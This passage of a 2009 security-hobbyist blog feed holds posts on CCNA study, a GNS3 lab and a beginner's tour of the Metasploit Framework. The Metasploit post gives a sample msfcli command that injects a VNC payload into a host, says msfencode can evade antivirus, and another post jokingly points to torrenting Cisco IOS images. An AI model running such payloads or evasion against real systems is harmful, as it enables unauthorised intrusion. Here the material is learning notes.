href="http://synjunkie.blogspot.com/2009/09/ip-routing-eigrp.html"&gt; IP Routing - EIGRP&lt;/a&gt;&lt;/div&gt;&lt;div&gt;13. Standard ACLs&lt;/div&gt;&lt;div&gt;14. Extended ACLs&lt;/div&gt;&lt;div&gt;15. Time Based ACLs&lt;br /&gt;16. &lt;a href="http://synjunkie.blogspot.com/2009/10/nat-overload.html"&gt;NAT - Overload&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Switches&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. &lt;a href="http://synjunkie.blogspot.com/2009/09/initial-switch-configuration.html"&gt;Initial switch configuration&lt;/a&gt;&lt;br /&gt;2. VLAN configuration&lt;br /&gt;3. &lt;a href="http://synjunkie.blogspot.com/2009/09/switch-port-security.html"&gt;Port security&lt;/a&gt;&lt;br /&gt;4. Logging&lt;/div&gt;&lt;div&gt;5. &lt;a href="http://synjunkie.blogspot.com/2009/09/monitoring-traffic-with-span-ports.html"&gt;Port Spanning&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;More to follow soon.........&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4620050284268331935?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4620050284268331935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4620050284268331935&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4620050284268331935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4620050284268331935'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/08/and-on-cisco-menu-tonight.html' title='And On The Cisco Menu Tonight.....'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-3272118806272924971</id><published>2009-08-14T21:07:00.011+01:00</published><updated>2009-08-14T22:40:55.770+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>A Bit Of A Change - Yet Another Update</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;In the immortal words of Peter Doherty "Promises promises, I know, you've heard them all before...."&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Okay, let me start with an apology to anyone who takes the time to visit my blog. Recently I've been crap at getting stuff out on the blog, and I've explained the reasons as being my spare time, which there's little when you have a 10 month old daughter to prioritise, is mostly spent with my head in my CCNA study book.  So trying to find time to play with all the great tools on BackTrack has really taken a hit.  So i've decided to change my plan slightly.  &lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;For the foreseeable future, or at least until I have passed the CCNA and maybe the Security specialisation after that, I'm going to focus on Cisco related posts.  Originally The aim of this blog was for me to spend time learning something and then blog about it which then hopefully might help anyone who stumbles across it.  Blogging what I have been learning also helps me to remember stuff and an added bonus is my blog serves as an accessible reference for me to use when i need to refer back to something in the future.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Great, that out the way i'll just describe my setup and then i'll get down to some nitty gritty Cisco IOS fun.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;The book I am using to study for the CCNA is &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.amazon.co.uk/CCNA-Certified-Network-Associate-640-802/dp/0470110082/ref=sr_1_1?ie=UTF8&amp;amp;qid=1250281508&amp;amp;sr=8-1"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;CCNA - Cisco Certified Network Associate Study Guide&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; by Todd Lammle.  This book was recommended to me by a mate and I really couldn't recommend it enough.  The book was worth every penny and his writing style makes a joy to read.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SoXNKIkSLNI/AAAAAAAABK0/NuERhgBDFRc/s1600-h/51BHKGcPzsL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU02_.jpg"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SoXNKIkSLNI/AAAAAAAABK0/NuERhgBDFRc/s320/51BHKGcPzsL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU02_.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5369923704691240146" style="cursor: pointer; width: 240px; height: 240px; " /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;What I'm using for my lab is a Cisco 2950 switch (that I got out of a bin!) and the &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.gns3.net/"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;GNS3&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; software.  GNS3 is a program (windows, linux and Mac) that allows you to take a IOS image from a router or pix firewall and sort of run it in an emulator so you can access it and configure it just like the real device. Within the software you can build networks of routers, switches, Firewalls and PC's. Very cool stuff and very free too. Which is always nice!  Getting up and running is pretty easy with GNS3 but there are plenty of videos on YouTube if you get stuck.  You'll also need a couple of IOS's as well (cough cough bittorrent cough)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;So once you have GNS3 up and a IOS to play with, you can get down to building your virtual test lab to get your feet wet without screwing up any physical devices.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SoXULP4b27I/AAAAAAAABLE/GOwUAeroXug/s1600-h/GNS3-1.png"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SoXULP4b27I/AAAAAAAABLE/GOwUAeroXug/s400/GNS3-1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5369931420416072626" style="cursor: pointer; width: 400px; height: 241px; " /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;All you then need to do is right click on a device, start it up and then select Console.  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SoXUzpbj7FI/AAAAAAAABLM/SvEHei_gAK0/s1600-h/screenshot.png"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SoXUzpbj7FI/AAAAAAAABLM/SvEHei_gAK0/s400/screenshot.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5369932114469055570" style="cursor: pointer; width: 400px; height: 284px; " /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Bingo! Your very own Cisco test lab to play with whilst you learn. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;OK, thats it for this quick update post, I will be posting again within the next few days on configuring a router. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;I really hope this set of posts are useful to someone other than myself.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Cheers&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Syn&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-3272118806272924971?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/3272118806272924971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=3272118806272924971&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3272118806272924971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3272118806272924971'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/08/bit-of-change-yet-another-update.html' title='A Bit Of A Change - Yet Another Update'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SoXNKIkSLNI/AAAAAAAABK0/NuERhgBDFRc/s72-c/51BHKGcPzsL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU02_.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4665482870808729628</id><published>2009-08-03T21:51:00.012+01:00</published><updated>2009-08-03T22:21:26.231+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Backtrack 4. MSF - Part 1</title><content type='html'>&lt;span class="Apple-style-span"   style=";font-family:Arial;font-size:medium;"&gt;A couple of emails have come just at the right time to help me get back into the swing of things. They were both regarding Metasploit which fits nicely into my planned blog entries about tools from the BackTrack disto.&lt;br /&gt;&lt;br /&gt;I plan to focus the next series of post on the basics of Metasploit then i hope to be moving into more advanced features that I think are cool within the framework. Please bear in mind though that I am in no way an expert on the MSF so I'll be learning as I go along, which is the whole point of my blog anyway. To learn and to share. I have covered some of the stuff i'll be blogging about in previous posts but as I don't use MSF every day i'll go over some of it again as a reminder for myself.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Part 1 - Which Metasploit looks good on me?&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As I'm basing these posts on Metasploit and as I mentioned previously I wanted to focus on the new BackTrack 4 tools i'll dispense with the installation instruction.  Metasploit can be found under BackTrack &gt; Penetration &gt; Framework Version 3.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SndSQR7hWiI/AAAAAAAABKk/YhM_55cXR1c/s1600-h/Parallels+Picture.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SndSQR7hWiI/AAAAAAAABKk/YhM_55cXR1c/s320/Parallels+Picture.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5365847920679672354" style="cursor: pointer; width: 320px; height: 200px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now you have a few options here:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;msfcli&lt;/li&gt;&lt;li&gt;msfconsole&lt;/li&gt;&lt;li&gt;msfgui&lt;/li&gt;&lt;li&gt;msfweb&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All the flavours of the framework have a purpose but as far as i'm concerned as you get familiar with the framework you'll probably find one that works best for you.  When I first started with the Framework I liked to use msfgui and msfweb.  Both of these were pretty similar wen used locally but msfweb does have the benefit of being able to run remotely because as indicated in the name it's a web server version.  Whenever I go back to Metasploit after some time I often like to use msfgui, as this allows me to easily navigate through the list of exploits, payloads or auxiliary modules and to read the descriptions of them to find exactly what will work best for the thing i'm doing rather than just throwing anything and everything at a target.  That type of behavior is very uncool and will get you noticed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now before I go any further I should take a few minutes to explain what the Metasploit Framework is and what it can do.   The framework is a collection of programs and scripts that can be used amongst other things to identify, exploit targets. Apart from the 4 options listed above there are many other tools such as msfpayload that can be used for creating standalone executables or msfencode that can be used to bypass antivirus with those executables. These might are fantastic tools that might not be obvious if you don't have a look for them. The framework is written in Ruby and is open source so it can be extended and tweaked to suit individual needs.  Other script such as those written by Dark Operator can be integrated into the framework to enhance the functionality.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I really encourage anyone interested in Metasploit to have a good look around in the /pentest/exploits/framework3/ directory.  There is also documentation and samples available.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SndSpuZcgdI/AAAAAAAABKs/rdrKGuYDoYI/s1600-h/Parallels+Picture+1.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SndSpuZcgdI/AAAAAAAABKs/rdrKGuYDoYI/s320/Parallels+Picture+1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5365848357818106322" style="cursor: pointer; width: 320px; height: 200px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Okay, back to the versions.  I'm sure there are many other uses but here's what I have used them for so far:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;msfcli&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If your very familiar with the syntax and know exactly what is you want to do then msfcli might be the option for you.  I have used this in the past to create msfpayloads and it works very well.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;An example of using msfcli might be:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  color: rgb(51, 255, 51); font-family:'courier new', sans-serif;font-size:13px;"&gt;./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=2482 RHOST=192.168.1.110 DisableCourtesyShell=TRUE E &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"    style="font-family:'courier new', sans-serif;font-size:100%;color:#33FF33;"&gt;&lt;span class="Apple-style-span"  style="font-size:13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;msfconsole&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I really like the working in the console, it's pretty intuitive and i always feel cooler working from the commandline.  Navigating through the console is pretty easy with the tab completion and help options.  After becoming familiar with metasploit I found that I can work most effectively in the console.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SndQm3iPe9I/AAAAAAAABKE/92bvsxpT3gs/s1600-h/msfconsole.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 238px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SndQm3iPe9I/AAAAAAAABKE/92bvsxpT3gs/s320/msfconsole.png" alt="" id="BLOGGER_PHOTO_ID_5365846109708057554" border="0" /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;msfgui&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As mentioned above I like to use msfgui to familiarize myself with exploits, payloads and options.  But if you find yourself living in msfgui you really need to "Man up Nancy Boy!" and get to msfconsole, you'll feel much better about yourself if you do.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SndRCDJ0qUI/AAAAAAAABKM/RohG5oI7JhU/s1600-h/msfgui.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 167px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SndRCDJ0qUI/AAAAAAAABKM/RohG5oI7JhU/s320/msfgui.png" alt="" id="BLOGGER_PHOTO_ID_5365846576683329858" border="0" /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;msfweb&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Similar thoughts as msfgui but it can also be configured to connect to remotely (as can msfd as i'll show in a later post). First launch msfweb and then point a browser at at (as described in the console message).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SndRS7E87DI/AAAAAAAABKU/MU8t7k-GS4U/s1600-h/snapshot4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 238px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SndRS7E87DI/AAAAAAAABKU/MU8t7k-GS4U/s320/snapshot4.png" alt="" id="BLOGGER_PHOTO_ID_5365846866573192242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SndRlcm2BdI/AAAAAAAABKc/5Me8cAKRN7k/s1600-h/msfweb.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 192px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SndRlcm2BdI/AAAAAAAABKc/5Me8cAKRN7k/s320/msfweb.png" alt="" id="BLOGGER_PHOTO_ID_5365847184811361746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Okay, so this was brief overview because I wanted to get a post out and it may be a bit boring for anyone already familiar with MSF.  I'll be going into more detail in upcoming posts and I hope things will get a lot more exciting as I cover the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Updating the Framework. &lt;/li&gt;&lt;li&gt;Navigating through msfconsole.&lt;/li&gt;&lt;li&gt;Using Auxiliary modules, Exploits and Payloads.&lt;/li&gt;&lt;li&gt;Launch successful attacks against a vulnerable host.&lt;/li&gt;&lt;li&gt;Adding new functionality with external scripts.&lt;/li&gt;&lt;li&gt;Integrating other tools with MSF&lt;/li&gt;&lt;li&gt;Anything else i can think of.........&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Back soon.......&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4665482870808729628?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4665482870808729628/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4665482870808729628&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4665482870808729628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4665482870808729628'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/08/backtrack-msf-part-1.html' title='Backtrack 4. MSF - Part 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/SndSQR7hWiI/AAAAAAAABKk/YhM_55cXR1c/s72-c/Parallels+Picture.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-7888685533831916739</id><published>2009-07-30T21:52:00.002+01:00</published><updated>2009-07-30T22:09:26.098+01:00</updated><title type='text'>A Bad Month!</title><content type='html'>July has been a really crazy month.  It started off with my wife nagging me to follow through on my New Years Resolution to get 2 certifications this year.  I love to make resolutions like this but then I get playing with MetaSploit, Maltego and Powershell and everything else gets forgotten. &lt;br /&gt;&lt;br /&gt;So the beginning of the month was gearing up for the Security+.  To tell the truth it was a pretty easy exam but I'm glad I did it.  I would love to work in the security field one day and I guess this shows an understanding of the fundamentals.  Then I was planning to take a Citrix certification but I figured a CCNA seemed so much more fun so I went with that instead. So hear I am with my head buried in Cisco books and an old router and switch being configured six ways to Sunday!  I definately have a new found respect for the guys out there with their Cisco certs, this stuff is pretty hardcore when you get your hands dirty!&lt;br /&gt;&lt;br /&gt;Anyway, back to the point.  I know I intended to get a post a week out as I have in the past but things just got on top of me.  I will try harder for August and get back on track.  Thanks to everyone who has sent me encouraging comments and emails.&lt;br /&gt;&lt;br /&gt;Looking forward to August.&lt;br /&gt;&lt;br /&gt;Syn&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-7888685533831916739?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/7888685533831916739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=7888685533831916739&amp;isPopup=true' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7888685533831916739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7888685533831916739'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/07/bad-month.html' title='A Bad Month!'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 